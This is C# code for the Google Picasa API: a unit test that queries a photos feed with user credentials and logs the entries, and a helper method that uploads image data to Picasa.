/// <summary>runs an authentication test</summary>
//////////////////////////////////////////////////////////////////////
[Test] public void PhotosAuthenticationTest()
{
Tracing.TraceMsg("Entering PhotosAuthenticationTest");
PicasaQuery query = new PicasaQuery();
PicasaService service = new PicasaService("unittests");
query.KindParameter = "album,tag";
if (this.defaultPhotosUri != null)
{
if (this.userName != null)
{
service.Credentials = new GDataCredentials(this.userName, this.passWord);
}
query.Uri = new Uri(this.defaultPhotosUri);
AtomFeed feed = service.Query(query);
ObjectModelHelper.DumpAtomObject(feed,CreateDumpFileName("PhotoAuthTest"));
if (feed != null && feed.Entries.Count > 0)
{
Tracing.TraceMsg("Found a Feed " + feed.ToString());
DisplayExtensions(feed);
foreach (AtomEntry entry in feed.Entries)
{
Tracing.TraceMsg("Found an entry " + entry.ToString());
DisplayExtensions(entry);
}
}
}
}
/// <summary>
/// Do the actual upload to Picasa
/// For more details on the available parameters, see: http://code.google.com/apis/picasaweb/docs/1.0/developers_guide_dotnet.html
/// </summary>
/// <param name="imageData">byte[] with image data</param>
/// <returns>PicasaResponse</returns>
public static PicasaInfo UploadToPicasa(byte[] imageData, string title, string filename, string contentType)
{
PicasaService service = new PicasaService(Picasa_APPLICATION_NAME);
service.setUserCredentials(config.Username, config.Password);
Uri postUri = new Uri(PicasaQuery.CreatePicasaUri(config.Username));
// build the data stream
Stream data = new MemoryStream(imageData);
PicasaEntry entry = (PicasaEntry)service.Insert(postUri, data, contentType, filename);
return RetrievePicasaInfo(entry);
}